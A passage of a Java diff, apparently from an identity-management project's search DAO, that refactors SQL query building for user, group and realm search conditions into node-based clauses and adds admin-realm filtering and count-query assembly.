cond.getRelationshipTypeKey())). + append(')'); - return select; + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected void processOBS( - final SearchSupport svs, - final OrderBySupport obs, - final StringBuilder where) { + protected AnySearchNode getQuery( + final RelationshipCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - Set attrs = obs.items.stream(). - map(item -> item.orderBy.substring(0, item.orderBy.indexOf(' '))).collect(Collectors.toSet()); + Set rightAnyObjects = check(cond); - obs.views.forEach(searchView -> { - where.append(','); + StringBuilder clause = new StringBuilder(); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.relationship().name).append(" WHERE "). + append(rightAnyObjects.stream(). + map(key -> "right_any_id=?" + setParameter(parameters, key)). + collect(Collectors.joining(" OR "))). + append(')'); - boolean searchViewAddedToWhere = false; - if (searchView.name.equals(svs.asSearchViewSupport().attr().name)) { - StringBuilder attrWhere = new StringBuilder(); - StringBuilder nullAttrWhere = new StringBuilder(); + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); + } - if (svs.nonMandatorySchemas || obs.nonMandatorySchemas) { - where.append(" (SELECT * FROM ").append(searchView.name); - searchViewAddedToWhere = true; + protected AnySearchNode getQuery( + final MembershipCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - attrs.forEach(field -> { - if (attrWhere.length() == 0) { - attrWhere.append(" WHERE "); - } else { - attrWhere.append(" OR "); - } - attrWhere.append("schema_id='").append(field).append("'"); - - nullAttrWhere.append(" UNION SELECT any_id, "). - append("'"). - append(field). - append("' AS schema_id, "). - append("null AS booleanvalue, "). - append("null AS datevalue, "). - append("null AS doublevalue, "). - append("null AS longvalue, "). - append("null AS stringvalue FROM ").append(svs.field().name). - append(" WHERE "). - append("any_id NOT IN ("). - append("SELECT any_id FROM "). - append(svs.asSearchViewSupport().attr().name).append(' ').append(searchView.alias). - append(" WHERE ").append("schema_id='").append(field).append("')"); - }); - where.append(attrWhere).append(nullAttrWhere).append(')'); - } - } - if (!searchViewAddedToWhere) { - where.append(searchView.name); - } + List groupKeys = check(cond); - where.append(' ').append(searchView.alias); - }); - } + String subwhere = groupKeys.stream(). + map(key -> "group_id=?" + setParameter(parameters, key)). + collect(Collectors.joining(" OR ")); - protected StringBuilder buildWhere( - final SearchSupport svs, - final OrderBySupport obs) { + StringBuilder clause = new StringBuilder("("); - StringBuilder where = new StringBuilder(" u"); - processOBS(svs, obs, where); - where.append(" WHERE "); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.membership().name).append(" WHERE "). + append(subwhere). + append(") "); - obs.views.forEach(searchView -> where.append("u.any_id=").append(searchView.alias).append(".any_id AND ")); + if (not) { + clause.append("AND ").append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append("OR ").append(anyId(svs)).append(" IN ("); + } - obs.items.stream(). - filter(item -> StringUtils.isNotBlank(item.where)). - forEach(item -> where.append(item.where).append(" AND ")); + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.dyngroupmembership().name).append(" WHERE "). + append(subwhere). + append("))"); - return where; + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected StringBuilder buildOrderBy(final OrderBySupport obs) { - StringBuilder orderBy = new StringBuilder(); + protected AnySearchNode getQuery( + final RoleCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - if (!obs.items.isEmpty()) { - obs.items.forEach(item -> orderBy.append(item.orderBy).append(',')); + StringBuilder clause = new StringBuilder("("); - orderBy.insert(0, " ORDER BY "); - orderBy.deleteCharAt(orderBy.length() - 1); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); } - return orderBy; - } + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.role().name).append(" WHERE "). + append("role_id=?").append(setParameter(parameters, cond.getRole())). + append(") "); - protected String key(final AttrSchemaType schemaType) { - String key; - switch (schemaType) { - case Boolean: - key = "booleanValue"; - break; + if (not) { + clause.append("AND ").append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append("OR ").append(anyId(svs)).append(" IN ("); + } - case Date: - key = "dateValue"; - break; + clause.append("SELECT DISTINCT any_id FROM "). + append(SearchSupport.dynrolemembership().name).append(" WHERE "). + append("role_id=?").append(setParameter(parameters, cond.getRole())). + append("))"); - case Double: - key = "doubleValue"; - break; + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); + } - case Long: - key = "longValue"; - break; + protected AnySearchNode getQuery( + final PrivilegeCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - case Binary: - key = "binaryValue"; - break; + StringBuilder clause = new StringBuilder("("); - default: - key = "stringValue"; + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); } - return key; - } - - protected void parseOrderByForPlainSchema( - final SearchSupport svs, - final OrderBySupport obs, - final OrderBySupport.Item item, - final OrderByClause clause, - final PlainSchema schema, - final String fieldName) { - - // keep track of involvement of non-mandatory schemas in the order by clauses - obs.nonMandatorySchemas = !"true".equals(schema.getMandatoryCondition()); - - if (schema.isUniqueConstraint()) { - obs.views.add(svs.asSearchViewSupport().uniqueAttr()); + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.priv().name).append(" WHERE "). + append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). + append(") "); - item.select = new StringBuilder(). - append(svs.asSearchViewSupport().uniqueAttr().alias).append('.'). - append(key(schema.getType())). - append(" AS ").append(fieldName).toString(); - item.where = new StringBuilder(). - append(svs.asSearchViewSupport().uniqueAttr().alias). - append(".schema_id='").append(fieldName).append("'").toString(); - item.orderBy = fieldName + ' ' + clause.getDirection().name(); + if (not) { + clause.append("AND ").append(anyId(svs)).append(" NOT IN ("); } else { - obs.views.add(svs.asSearchViewSupport().attr()); - - item.select = new StringBuilder(). - append(svs.asSearchViewSupport().attr().alias).append('.').append(key(schema.getType())). - append(" AS ").append(fieldName).toString(); - item.where = new StringBuilder(). - append(svs.asSearchViewSupport().attr().alias). - append(".schema_id='").append(fieldName).append("'").toString(); - item.orderBy = fieldName + ' ' + clause.getDirection().name(); + clause.append("OR ").append(anyId(svs)).append(" IN ("); } - } - protected void parseOrderByForField( - final SearchSupport svs, - final OrderBySupport.Item item, - final String fieldName, - final OrderByClause clause) { + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.dynpriv().name).append(" WHERE "). + append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). + append("))"); - item.select = svs.field().alias + '.' + fieldName; - item.where = StringUtils.EMPTY; - item.orderBy = svs.field().alias + '.' + fieldName + ' ' + clause.getDirection().name(); + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected void parseOrderByForCustom( - final SearchSupport svs, - final OrderByClause clause, - final OrderBySupport.Item item, - final OrderBySupport obs) { - - // do nothing by default, meant for subclasses - } + protected AnySearchNode getQuery( + final DynRealmCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - protected OrderBySupport parseOrderBy( - final SearchSupport svs, - final List orderBy) { + StringBuilder clause = new StringBuilder("("); - AnyUtils anyUtils = anyUtilsFactory.getInstance(svs.anyTypeKind); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } - OrderBySupport obs = new OrderBySupport(); + clause.append("SELECT DISTINCT any_id FROM "). + append(SearchSupport.dynrealmmembership().name).append(" WHERE "). + append("dynRealm_id=?").append(setParameter(parameters, cond.getDynRealm())). + append("))"); - Set orderByUniquePlainSchemas = new HashSet<>(); - Set orderByNonUniquePlainSchemas = new HashSet<>(); - orderBy.forEach(clause -> { - OrderBySupport.Item item = new OrderBySupport.Item(); + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); + } - parseOrderByForCustom(svs, clause, item, obs); + protected AnySearchNode getQuery( + final ResourceCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - if (item.isEmpty()) { - if (anyUtils.getField(clause.getField()) == null) { - PlainSchema schema = plainSchemaDAO.find(clause.getField()); - if (schema != null) { - if (schema.isUniqueConstraint()) { - orderByUniquePlainSchemas.add(schema.getKey()); - } else { - orderByNonUniquePlainSchemas.add(schema.getKey()); - } - if (orderByUniquePlainSchemas.size() > 1 || orderByNonUniquePlainSchemas.size() > 1) { - SyncopeClientException invalidSearch = - SyncopeClientException.build(ClientExceptionType.InvalidSearchParameters); - invalidSearch.getElements().add("Order by more than one attribute is not allowed; " - + "remove one from " + (orderByUniquePlainSchemas.size() > 1 - ? orderByUniquePlainSchemas : orderByNonUniquePlainSchemas)); - throw invalidSearch; - } - parseOrderByForPlainSchema(svs, obs, item, clause, schema, clause.getField()); - } - } else { - // Manage difference among external key attribute and internal JPA @Id - String fieldName = "key".equals(clause.getField()) ? "id" : clause.getField(); + StringBuilder clause = new StringBuilder(); - // Adjust field name to column name - if (ArrayUtils.contains(RELATIONSHIP_FIELDS, fieldName)) { - fieldName += "_id"; - } + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } - obs.views.add(svs.field()); + clause.append("SELECT DISTINCT any_id FROM "). + append(svs.resource().name). + append(" WHERE resource_id=?"). + append(setParameter(parameters, cond.getResource())); - parseOrderByForField(svs, item, fieldName, clause); - } - } + if (svs.anyTypeKind == AnyTypeKind.USER || svs.anyTypeKind == AnyTypeKind.ANY_OBJECT) { + clause.append(" UNION SELECT DISTINCT any_id FROM "). + append(svs.groupResource().name). + append(" WHERE resource_id=?"). + append(setParameter(parameters, cond.getResource())); + } - if (item.isEmpty()) { - LOG.warn("Cannot build any valid clause from {}", clause); - } else { - obs.items.add(item); - } - }); + clause.append(')'); - return obs; + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected void getQueryForCustomConds( - final SearchCond cond, - final List parameters, - final SearchSupport svs, + protected AnySearchNode getQuery( + final MemberCond cond, final boolean not, - final StringBuilder query) { - - // do nothing by default, leave it open for subclasses - } - - protected void queryOp( - final StringBuilder query, - final String op, - final Pair> leftInfo, - final Pair> rightInfo) { - - String subQuery = leftInfo.getKey().toString(); - // Add extra parentheses - subQuery = subQuery.replaceFirst("WHERE ", "WHERE ("); - query.append(subQuery). - append(' ').append(op).append(" any_id IN ( ").append(rightInfo.getKey()).append("))"); - } - - protected Pair> getQuery( - final SearchCond cond, final List parameters, final SearchSupport svs) { - - boolean not = cond.getType() == SearchCond.Type.NOT_LEAF; - - StringBuilder query = new StringBuilder(); - Set involvedPlainAttrs = new HashSet<>(); + final List parameters, + final SearchSupport svs) { - switch (cond.getType()) { - case LEAF: - case NOT_LEAF: - cond.getLeaf(AnyTypeCond.class). - filter(leaf -> AnyTypeKind.ANY_OBJECT == svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + Set members = check(cond); - cond.getLeaf(AuxClassCond.class). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + StringBuilder clause = new StringBuilder(); - cond.getLeaf(RelationshipTypeCond.class). - filter(leaf -> AnyTypeKind.GROUP != svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } - cond.getLeaf(RelationshipCond.class). - filter(leaf -> AnyTypeKind.GROUP != svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + clause.append("SELECT DISTINCT group_id AS any_id FROM "). + append(new SearchSupport(AnyTypeKind.USER).membership().name).append(" WHERE "). + append(members.stream(). + map(key -> "any_id=?" + setParameter(parameters, key)). + collect(Collectors.joining(" OR "))). + append(") "); - cond.getLeaf(MembershipCond.class). - filter(leaf -> AnyTypeKind.GROUP != svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + if (not) { + clause.append("AND ").append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append("OR ").append(anyId(svs)).append(" IN ("); + } - cond.getLeaf(MemberCond.class). - filter(leaf -> AnyTypeKind.GROUP == svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + clause.append("SELECT DISTINCT group_id AS any_id FROM "). + append(new SearchSupport(AnyTypeKind.ANY_OBJECT).membership().name).append(" WHERE "). + append(members.stream(). + map(key -> "any_id=?" + setParameter(parameters, key)). + collect(Collectors.joining(" OR "))). + append(')'); - cond.getLeaf(AssignableCond.class). - ifPresent(leaf -> query.append(getQuery(leaf, parameters, svs))); + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); + } - cond.getLeaf(RoleCond.class). - filter(leaf -> AnyTypeKind.USER == svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + protected AnySearchNode.Leaf fillAttrQuery( + final String column, + final SearchSupport.SearchView from, + final PlainAttrValue attrValue, + final PlainSchema schema, + final AttrCond cond, + final boolean not, + final List parameters) { - cond.getLeaf(PrivilegeCond.class). - filter(leaf -> AnyTypeKind.USER == svs.anyTypeKind). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + // activate ignoreCase only for EQ and LIKE operators + boolean ignoreCase = AttrCond.Type.ILIKE == cond.getType() || AttrCond.Type.IEQ == cond.getType(); - cond.getLeaf(DynRealmCond.class). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + String left = column; + if (ignoreCase && (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum)) { + left = "LOWER(" + left + ')'; + } - cond.getLeaf(ResourceCond.class). - ifPresent(leaf -> query.append(getQuery(leaf, not, parameters, svs))); + StringBuilder clause = new StringBuilder(left); + switch (cond.getType()) { - Optional anyCond = cond.getLeaf(AnyCond.class); - if (anyCond.isPresent()) { - query.append(getQuery(anyCond.get(), not, parameters, svs)); + case ILIKE: + case LIKE: + if (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum) { + if (not) { + clause.append(" NOT "); + } + clause.append(" LIKE "); + if (ignoreCase) { + clause.append("LOWER(?").append(setParameter(parameters, cond.getExpression())).append(')'); + } else { + clause.append('?').append(setParameter(parameters, cond.getExpression())); + } + // workaround for Oracle DB adding explicit escape, to search for literal _ (underscore) + if (isOracle()) { + clause.append(" ESCAPE '\\' "); + } } else { - cond.getLeaf(AttrCond.class).ifPresent(leaf -> { - query.append(getQuery(leaf, not, parameters, svs)); - try { - involvedPlainAttrs.add(check(leaf, svs.anyTypeKind).getLeft().getKey()); - } catch (IllegalArgumentException e) { - // ignore - } - }); + LOG.error("LIKE is only compatible with string or enum schemas"); + return new AnySearchNode.Leaf(from, ALWAYS_FALSE_CLAUSE); } - - // allow for additional search conditions - getQueryForCustomConds(cond, parameters, svs, not, query); break; - case AND: - Pair> leftAndInfo = getQuery(cond.getLeft(), parameters, svs); - involvedPlainAttrs.addAll(leftAndInfo.getRight()); - - Pair> rigthAndInfo = getQuery(cond.getRight(), parameters, svs); - involvedPlainAttrs.addAll(rigthAndInfo.getRight()); + case IEQ: + case EQ: + default: + if (not) { + clause.append("<>"); + } else { + clause.append('='); + } + if (ignoreCase + && (schema.getType() == AttrSchemaType.String || schema.getType() == AttrSchemaType.Enum)) { - queryOp(query, "AND", leftAndInfo, rigthAndInfo); + clause.append("LOWER(?").append(setParameter(parameters, attrValue.getValue())).append(')'); + } else { + clause.append('?').append(setParameter(parameters, attrValue.getValue())); + } break; - case OR: - Pair> leftOrInfo = getQuery(cond.getLeft(), parameters, svs); - involvedPlainAttrs.addAll(leftOrInfo.getRight()); - - Pair> rigthOrInfo = getQuery(cond.getRight(), parameters, svs); - involvedPlainAttrs.addAll(rigthOrInfo.getRight()); - - queryOp(query, "OR", leftOrInfo, rigthOrInfo); + case GE: + if (not) { + clause.append('<'); + } else { + clause.append(">="); + } + clause.append('?').append(setParameter(parameters, attrValue.getValue())); break; - default: - } - - return Pair.of(query, involvedPlainAttrs); - } - - protected String getQuery( - final AnyTypeCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + case GT: + if (not) { + clause.append("<="); + } else { + clause.append('>'); + } + clause.append('?').append(setParameter(parameters, attrValue.getValue())); + break; - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE type_id"); + case LE: + if (not) { + clause.append('>'); + } else { + clause.append("<="); + } + clause.append('?').append(setParameter(parameters, attrValue.getValue())); + break; - if (not) { - query.append("<>"); - } else { - query.append('='); + case LT: + if (not) { + clause.append(">="); + } else { + clause.append('<'); + } + clause.append('?').append(setParameter(parameters, attrValue.getValue())); + break; } - query.append('?').append(setParameter(parameters, cond.getAnyTypeKey())); - - return query.toString(); + return new AnySearchNode.Leaf( + from, + cond instanceof AnyCond + ? clause.toString() + : from.alias + ".schema_id='" + schema.getKey() + "' AND " + clause); } - protected String getQuery( - final AuxClassCond cond, + protected AnySearchNode getQuery( + final AttrCond cond, final boolean not, + final Pair checked, final List parameters, final SearchSupport svs) { - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); - + // normalize NULL / NOT NULL checks if (not) { - query.append("any_id NOT IN ("); - } else { - query.append("any_id IN ("); + if (cond.getType() == AttrCond.Type.ISNULL) { + cond.setType(AttrCond.Type.ISNOTNULL); + } else if (cond.getType() == AttrCond.Type.ISNOTNULL) { + cond.setType(AttrCond.Type.ISNULL); + } } - query.append("SELECT DISTINCT any_id FROM "). - append(svs.auxClass().name). - append(" WHERE anyTypeClass_id=?"). - append(setParameter(parameters, cond.getAuxClass())). - append(')'); + SearchSupport.SearchView sv = checked.getLeft().isUniqueConstraint() + ? svs.asSearchViewSupport().uniqueAttr() + : svs.asSearchViewSupport().attr(); - return query.toString(); - } - - protected String getQuery( - final RelationshipTypeCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { + switch (cond.getType()) { + case ISNOTNULL: + return new AnySearchNode.Leaf( + sv, + sv.alias + ".schema_id='" + checked.getLeft().getKey() + "'"); - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); + case ISNULL: + String clause = new StringBuilder(anyId(svs)).append(" NOT IN "). + append('('). + append("SELECT DISTINCT any_id FROM "). + append(sv.name). + append(" WHERE schema_id=").append("'").append(checked.getLeft().getKey()).append("'"). + append(')').toString(); + return new AnySearchNode.Leaf(defaultSV(svs), clause); - if (not) { - query.append("any_id NOT IN ("); - } else { - query.append("any_id IN ("); + default: + AnySearchNode.Leaf node; + if (not && checked.getLeft().isMultivalue()) { + AnySearchNode.Leaf notNode = fillAttrQuery( + sv.alias + "." + key(checked.getLeft().getType()), + sv, + checked.getRight(), + checked.getLeft(), + cond, + false, + parameters); + node = new AnySearchNode.Leaf( + sv, + anyId(svs) + " NOT IN (" + + "SELECT any_id FROM " + sv.name + + " WHERE " + notNode.getClause().replace(sv.alias + ".", "") + + ")"); + } else { + node = fillAttrQuery( + sv.alias + "." + key(checked.getLeft().getType()), + sv, + checked.getRight(), + checked.getLeft(), + cond, + not, + parameters); + } + return node; } - - query.append("SELECT any_id ").append("FROM "). - append(svs.relationship().name). - append(" WHERE type=?").append(setParameter(parameters, cond.getRelationshipTypeKey())). - append(" UNION SELECT right_any_id AS any_id FROM "). - append(svs.relationship().name). - append(" WHERE type=?").append(setParameter(parameters, cond.getRelationshipTypeKey())). - append(')'); - - return query.toString(); } - protected String getQuery( - final RelationshipCond cond, + protected AnySearchNode getQuery( + final AnyCond cond, final boolean not, final List parameters, final SearchSupport svs) { - String rightAnyObjectKey = check(cond); - - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); + if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) + && !SyncopeConstants.UUID_PATTERN.matcher(cond.getExpression()).matches()) { - if (not) { - query.append("any_id NOT IN ("); - } else { - query.append("any_id IN ("); + Realm realm = realmDAO.findByFullPath(cond.getExpression()); + if (realm == null) { + throw new IllegalArgumentException("Invalid Realm full path: " + cond.getExpression()); + } + cond.setExpression(realm.getKey()); } - query.append("SELECT DISTINCT any_id FROM "). - append(svs.relationship().name).append(" WHERE "). - append("right_any_id=?").append(setParameter(parameters, rightAnyObjectKey)). - append(')'); - - return query.toString(); - } - - protected String getQuery( - final MembershipCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - List groupKeys = check(cond); - - String where = groupKeys.stream(). - map(key -> "group_id=?" + setParameter(parameters, key)). - collect(Collectors.joining(" OR ")); - - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE ("); + Triple checked = check(cond, svs.anyTypeKind); - if (not) { - query.append("any_id NOT IN ("); - } else { - query.append("any_id IN ("); - } + switch (checked.getRight().getType()) { + case ISNULL: + return new AnySearchNode.Leaf( + defaultSV(svs), + checked.getRight().getSchema() + (not ? " IS NOT NULL" : " IS NULL")); - query.append("SELECT DISTINCT any_id FROM "). - append(svs.membership().name).append(" WHERE "). - append(where). - append(") "); + case ISNOTNULL: + return new AnySearchNode.Leaf( + defaultSV(svs), + checked.getRight().getSchema() + (not ? " IS NULL" : " IS NOT NULL")); - if (not) { - query.append("AND any_id NOT IN ("); - } else { - query.append("OR any_id IN ("); + default: + return fillAttrQuery( + checked.getRight().getSchema(), + defaultSV(svs), + checked.getMiddle(), + checked.getLeft(), + checked.getRight(), + not, + parameters); } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.dyngroupmembership().name).append(" WHERE "). - append(where). - append("))"); - - return query.toString(); } - protected String getQuery( - final RoleCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE ("); - - if (not) { - query.append("any_id NOT IN ("); - } else { - query.append("any_id IN ("); - } - - query.append("SELECT DISTINCT any_id FROM "). - append(svs.role().name).append(" WHERE "). - append("role_id=?").append(setParameter(parameters, cond.getRole())). - append(") "); + protected AnySearchNode.Leaf buildAdminRealmsFilter( + final Set realmKeys, + final SearchSupport svs, + final List parameters) { - if (not) { - query.append("AND any_id NOT IN ("); - } else { - query.append("OR any_id IN ("); + if (realmKeys.isEmpty()) { + return new AnySearchNode.Leaf(defaultSV(svs), StringUtils.substringAfter(anyId(svs), '.') + " IS NOT NULL"); } - query.append("SELECT DISTINCT any_id FROM "). - append(SearchSupport.dynrolemembership().name).append(" WHERE "). - append("role_id=?").append(setParameter(parameters, cond.getRole())). - append("))"); - - return query.toString(); + String realmKeysArg = realmKeys.stream(). + map(realmKey -> "?" + setParameter(parameters, realmKey)). + collect(Collectors.joining(",")); + return new AnySearchNode.Leaf(defaultSV(svs), "realm_id IN (" + realmKeysArg + ")"); } - protected String getQuery( - final PrivilegeCond cond, - final boolean not, + protected Triple, Set> getAdminRealmsFilter( + final Realm base, + final boolean recursive, + final Set adminRealms, final List parameters, final SearchSupport svs) { - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE ("); + Set realmKeys = new HashSet<>(); + Set dynRealmKeys = new HashSet<>(); + Set groupOwners = new HashSet<>(); - if (not) { - query.append("any_id NOT IN ("); + if (recursive) { + adminRealms.forEach(realmPath -> RealmUtils.parseGroupOwnerRealm(realmPath).ifPresentOrElse( + goRealm -> groupOwners.add(goRealm.getRight()), + () -> { + if (realmPath.startsWith("/")) { + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(realmPath)).orElseThrow(() -> { + SyncopeClientException noRealm = + SyncopeClientException.build(ClientExceptionType.InvalidRealm); + noRealm.getElements().add("Invalid realm specified: " + realmPath); + return noRealm; + }); + + realmKeys.addAll(realmDAO.findDescendants(realm.getFullPath(), base.getFullPath())); + } else { + DynRealm dynRealm = dynRealmDAO.find(realmPath); + if (dynRealm == null) { + LOG.warn("Ignoring invalid dynamic realm {}", realmPath); + } else { + dynRealmKeys.add(dynRealm.getKey()); + } + } + })); + if (!dynRealmKeys.isEmpty()) { + realmKeys.clear(); + } } else { - query.append("any_id IN ("); + if (adminRealms.stream().anyMatch(r -> r.startsWith(base.getFullPath()))) { + realmKeys.add(base.getKey()); + } } - query.append("SELECT DISTINCT any_id FROM "). - append(svs.priv().name).append(" WHERE "). - append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). - append(") "); + return Triple.of(buildAdminRealmsFilter(realmKeys, svs, parameters), dynRealmKeys, groupOwners); + } - if (not) { - query.append("AND any_id NOT IN ("); - } else { - query.append("OR any_id IN ("); - } + protected void visitNode( + final AnySearchNode node, + final Map counters, + final Set from, + final List where, + final SearchSupport svs) { - query.append("SELECT DISTINCT any_id FROM "). - append(svs.dynpriv().name).append(" WHERE "). - append("privilege_id=?").append(setParameter(parameters, cond.getPrivilege())). - append("))"); + node.asLeaf().ifPresentOrElse( + leaf -> { + from.add(leaf.getFrom()); - return query.toString(); + if (counters.computeIfAbsent(leaf.getFrom(), view -> false) && !leaf.getClause().contains(" IN ")) { + where.add(anyId(svs) + " IN (" + + "SELECT any_id FROM " + leaf.getFrom().name + + " WHERE " + leaf.getClause().replace(leaf.getFrom().alias + ".", "") + + ")"); + } else { + counters.put(leaf.getFrom(), true); + where.add(leaf.getClause()); + } + }, + () -> { + List nodeWhere = new ArrayList<>(); + node.getChildren().forEach(child -> visitNode(child, counters, from, nodeWhere, svs)); + where.add(nodeWhere.stream(). + map(w -> "(" + w + ")"). + collect(Collectors.joining(" " + node.getType().name() + " "))); + }); } - protected String getQuery( - final DynRealmCond cond, - final boolean not, - final List parameters, - final SearchSupport svs) { - - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE ("); + protected String buildFrom( + final Set from, + final Set plainSchemas, + final OrderBySupport obs) { - if (not) { - query.append("any_id NOT IN ("); + String fromString; + if (from.size() == 1) { + SearchSupport.SearchView sv = from.iterator().next(); + fromString = sv.name + " " + sv.alias; } else { - query.append("any_id IN ("); + List joins = new ArrayList<>(from); + StringBuilder join = new StringBuilder(joins.get(0).name + " " + joins.get(0).alias); + for (int i = 1; i < joins.size(); i++) { + SearchSupport.SearchView sv = joins.get(i); + join.append(" LEFT JOIN "). + append(sv.name).append(" ").append(sv.alias). + append(" ON "). + append(anyId(joins.get(0))).append("=").append(anyId(sv)); + } + fromString = join.toString(); } + return fromString; + } - query.append("SELECT DISTINCT any_id FROM "). - append(SearchSupport.dynrealmmembership().name).append(" WHERE "). - append("dynRealm_id=?").append(setParameter(parameters, cond.getDynRealm())). - append("))"); - - return query.toString(); + protected String buildWhere(final List where, final AnySearchNode root) { + return where.stream(). + map(w -> "(" + w + ")"). + collect(Collectors.joining(" " + root.getType().name() + " ")); } - protected String getQuery( - final ResourceCond cond, - final boolean not, + protected String buildCountQuery( + final Pair> queryInfo, + final AnySearchNode.Leaf filterNode, final List parameters, final SearchSupport svs) { - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE "); - - if (not) { - query.append("any_id NOT IN ("); + AnySearchNode root; + if (queryInfo.getLeft().getType() == AnySearchNode.Type.AND) { + root = queryInfo.getLeft(); } else { - query.append("any_id IN ("); + root = new AnySearchNode(AnySearchNode.Type.AND); + root.add(queryInfo.getLeft()); } + root.add(filterNode); - query.append("SELECT DISTINCT any_id FROM "). - append(svs.resource().name). - append(" WHERE resource_id=?"). - append(setParameter(parameters, cond.getResource())); + Set from = new HashSet<>(); + List where = new ArrayList<>(); + Map counters = new HashMap<>(); + visitNode(root, counters, from, where, svs); - if (svs.anyTypeKind == AnyTypeKind.USER || svs.anyTypeKind == AnyTypeKind.ANY_OBJECT) { - query.append(" UNION SELECT DISTINCT any_id FROM "). - append(svs.groupResource().name). - append(" WHERE resource_id=?"). - append(setParameter(parameters, cond.getResource())); - } + StringBuilder queryString = new StringBuilder("SELECT COUNT(DISTINCT ").append(anyId(svs)).append(") "); + + queryString.append("FROM ").append(buildFrom(from, queryInfo.getRight(), null)); - query.append(')'); + queryString.append(" WHERE ").append(buildWhere(where, root)); - return query.toString(); + LOG.debug("Query: {}, parameters: {}", queryString, parameters); + + return queryString.toString(); } - protected String getQuery( - final AssignableCond cond, - final List parameters, - final SearchSupport svs) { + @Override + protected int doCount( + final Realm base, + final boolean recursive, + final Set adminRealms, + final SearchCond cond, + final AnyTypeKind kind) { - Realm realm = check(cond); + List parameters = new ArrayList<>(); - StringBuilder query = new StringBuilder("SELECT DISTINCT any_id FROM "). - append(svs.field().name).append(" WHERE ("); - if (cond.isFromGroup()) { - realmDAO.findDescendants(realm).forEach(current -> { - query.append("realm_id=?").append(setParameter(parameters, current.getKey())).append(" OR "); - }); - query.setLength(query.length() - 4); - } else { - for (Realm current = realm; current.getParent() != null; current = current.getParent()) { - query.append("realm_id=?").append(setParameter(parameters, current.getKey())).append(" OR "); - } - query.append("realm_id=?").append(setParameter(parameters, realmDAO.getRoot().getKey())); + SearchSupport svs = new SearchViewSupport(kind); + + // 1. get admin realms filter + Triple, Set> filter = + getAdminRealmsFilter(base, recursive, adminRealms, parameters, svs); + + // 2. transform search condition + Optional>> optionalQueryInfo = getQuery( + buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), parameters, svs); + if (optionalQueryInfo.isEmpty()) { + LOG.error("Invalid search condition: {}", cond); + return 0; } - query.append(')'); + Pair> queryInfo = optionalQueryInfo.get(); + + // 3. generate the query string + String queryString = buildCountQuery(queryInfo, 